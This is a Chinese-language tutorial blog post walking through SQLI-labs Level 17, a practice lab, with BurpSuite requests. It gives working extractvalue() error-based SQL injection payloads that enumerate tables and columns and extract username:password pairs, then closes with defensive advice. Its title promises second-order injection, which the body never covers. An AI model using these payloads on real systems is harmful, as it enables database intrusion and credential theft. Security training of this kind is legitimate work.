当前位置: 首页 > news >正文

从登录框到数据库:手把手复现SQLI-labs第十七关的二次注入与报错注入(附BurpSuite实战截图)

从登录框到数据库:手把手复现SQLI-labs第十七关的二次注入与报错注入(附BurpSuite实战截图)

在Web安全领域,SQL注入始终是渗透测试工程师的必修课。而SQLI-labs作为经典的注入练习平台,其第十七关巧妙融合了二次注入与报错注入两种技术,是理解复杂注入场景的绝佳案例。本文将带您从BurpSuite抓包开始,逐步拆解这一关的完整攻击链,重点解析每个Payload背后的设计逻辑,而非简单罗列步骤。

1. 环境准备与注入点定位

1.1 初始请求分析

启动BurpSuite拦截功能,访问SQLI-labs第十七关页面。提交默认凭证admin:password后,观察Burp Proxy捕获的POST请求:

POST /Less-17/ HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded uname=admin&passwd=password

关键发现:

  • 登录表单通过unamepasswd两个参数提交
  • 服务端返回的响应中没有直接显示SQL错误信息,这增加了注入点判断难度

1.2 突破过滤机制

通过分析源码可知,系统对uname参数进行了check_input()过滤,但passwd参数存在漏洞。尝试构造特殊字符测试:

uname=admin&passwd=1'

此时服务端返回错误提示:You have an error in your SQL syntax... near ''1''') at line 1

这揭示了三个重要信息:

  1. 密码参数存在SQL注入漏洞
  2. 闭合方式为单引号
  3. 注入点位于UPDATE语句中(通过错误信息中的''1''')可推断)

提示:在实际渗透中,错误信息的详细程度直接影响攻击效率。生产环境应关闭详细错误回显。

2. 报错注入技术深度解析

2.1 extractvalue函数原理

当常规联合查询不可用时,MySQL的extractvalue()函数成为报错注入的首选。其基本语法为:

extractvalue(XML_document, XPath_string)

精心构造错误的XPath表达式,可使函数返回包含敏感数据的错误信息。典型Payload结构:

and extractvalue(1, concat(0x7e, (SELECT database())))

关键设计点:

  • 0x7e(~符号)作为可视分隔符
  • 嵌套的子查询返回需要提取的数据
  • 整体作为XPath参数触发语法错误

2.2 实战数据库信息提取

通过Burp Repeater模块发送以下Payload获取数据库名:

uname=admin&passwd=1' and extractvalue(1,concat(0x7e,database()))#

典型响应示例:XPATH syntax error: '~security'

此时我们已确认:

  • 当前数据库名为security
  • 报错注入手法有效

3. 系统表信息提取实战

3.1 表结构枚举技术

利用information_schema数据库获取表名列表:

uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))#

通过修改limit参数值,依次获取全部表名:

limit参数获取的表名
0,1emails
1,1referers
2,1uagents
3,1users

3.2 字段提取与数据泄露

针对关键users表进行字段枚举:

uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))#

同样通过调整limit值获取完整字段列表:

# 字段枚举结果 1. id 2. username 3. password

最终提取用户凭证的完整Payload:

uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select concat(username,':',password) from security.users limit 0,1)))#

4. 高级技巧与防御方案

4.1 绕过长度限制的技巧

当报错信息被截断时,可采用分段提取法:

uname=admin&passwd=1' and extractvalue(1,concat(0x7e,mid((select group_concat(username,':',password) from users),1,30)))#

配合mid()函数和循环请求,可完整获取长数据。

4.2 安全防护建议

开发人员应当:

  1. 对所有用户输入实施参数化查询
  2. 配置数据库错误信息处理机制
  3. 实施最小权限原则
  4. 使用Web应用防火墙(WAF)过滤恶意请求

渗透测试人员需注意:

  • 测试前获取合法授权
  • 避免使用DROP等破坏性语句
  • 测试完成后清理测试数据
http://www.gsyq.cn/news/1354104.html

相关文章:

  • 从零打造 AI 小说创作平台(五):AI 创作流水线(上)——六阶段编排设计
  • 从零到一:手把手教你用SpringBoot+MyBatis搭建企业级员工管理系统(附完整源码)
  • KRTS运行时部署实战:如何将开发好的实时程序部署到目标工控机?
  • LIO-SAM建图后,如何用liorf_localization让你的机器人‘找回自己’?一份重定位配置避坑指南
  • PX4飞控的‘眼睛’怎么选?深度对比T265、UWB与动捕(MOCAP)的ROS集成方案与实战心得
  • 避坑指南:在Windows 11上搞定ADSP-21569的SigmaStudio 4.6图形化开发环境
  • 3步精通Windows右键菜单管理:ContextMenuManager深度指南
  • 如何一键解锁QQ音乐加密格式?这款Mac专属工具让你轻松实现音乐自由
  • ESP32-WROOM-32E和PICO-D4选哪个?手把手教你根据引脚差异做硬件选型
  • 避开C++编译地狱:为什么我推荐用Python为3DSlicer 5.6.0开发扩展?
  • 工业视觉实战:手把手教你用YOLOv8训练红外/热成像灰度图(附完整代码修改)
  • MacBook上玩转国民技术N32G430:从零搭建ARM开发环境(含pyocd烧录避坑指南)
  • ROBOMASTER UI绘制实战:从结构体定义到串口发送,一步步打造自定义小地图
  • 跨平台音乐加密文件解密解决方案:Unlock Music Electron技术实现深度解析
  • Mamba-2架构与LaCT并行计算技术解析
  • ENVI FLAASH大气校正报错?别慌,试试这个‘先裁剪再校正’的野路子
  • 模块型OLT跟光模块有什么区别?
  • 为什么ChatGPT会推荐某些供应商?聊聊外贸GEO背后的逻辑
  • 探讨有口碑的XC61CC2702高精度低功耗电压检测,哪家性价比高 - myqiye
  • 别再手动改配置了!一个Docker命令搞定Nextcloud在线编辑(OnlyOffice集成保姆级教程)
  • STM32F103 ADC多通道采样,用DMA搬运数据到底有多省心?一个完整工程带你上手
  • 深聊靠谱的建筑机电安装工程专业承包一级资质企业,费用怎么算 - mypinpai
  • RIS波束校准技术在6G ISAC系统中的关键作用
  • CAN总线电压测试避坑指南:用示波器实测显性/隐性电平,别再被CAN_H和CAN_L的命名误导了
  • 2026靠谱的汽车大屏导航安装店铺排名,为你推荐性价比高的服务 - myqiye
  • NVIDIA Profile Inspector终极指南:深度解锁显卡隐藏性能与专业游戏优化
  • 上海婚介所选购指南,梅园婚恋资源丰富度成亮点 - myqiye
  • 从QPLL与CPLL选型到线速计算:一份给Xilinx GTY新手的时钟配置速查手册
  • MDK-7526是什么?基于VHL配体的PROTAC核心组件,泛素连接酶募集剂
  • QMCDecode终极指南:3步解锁QQ音乐加密文件的完整教程 [特殊字符]